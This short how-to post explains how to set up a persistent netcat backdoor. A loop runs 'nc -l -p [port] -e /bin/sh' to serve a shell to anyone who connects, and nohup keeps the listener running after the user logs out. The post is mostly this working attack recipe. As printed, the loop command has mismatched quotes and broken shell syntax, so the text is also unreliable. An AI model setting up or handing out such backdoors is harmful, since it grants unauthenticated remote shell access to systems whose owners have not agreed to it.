Netcat – Persistent backdoor listners

The “listen harder” mode is only available for the Windows version of netcat.

You can make netcat persistent by running the following command

while [1]; do echo “Started”‘ nc -l -p [port] -e /bin/sh; done

When executed, it will

  1. Display the word Started
  2. Listen on a specific TCP port
  3. invokes a command shell (/bin/sh) when someone connects

The issue with this is that if the listener account logs out, it ends.

To eliminate that problem, we can add the loop command into a file and make it executable.

Example filename: listener.sh

chmod 555 listener.sh

nohup ./listener.sh &

The nohup command makes a process keep running, even if a user logs out.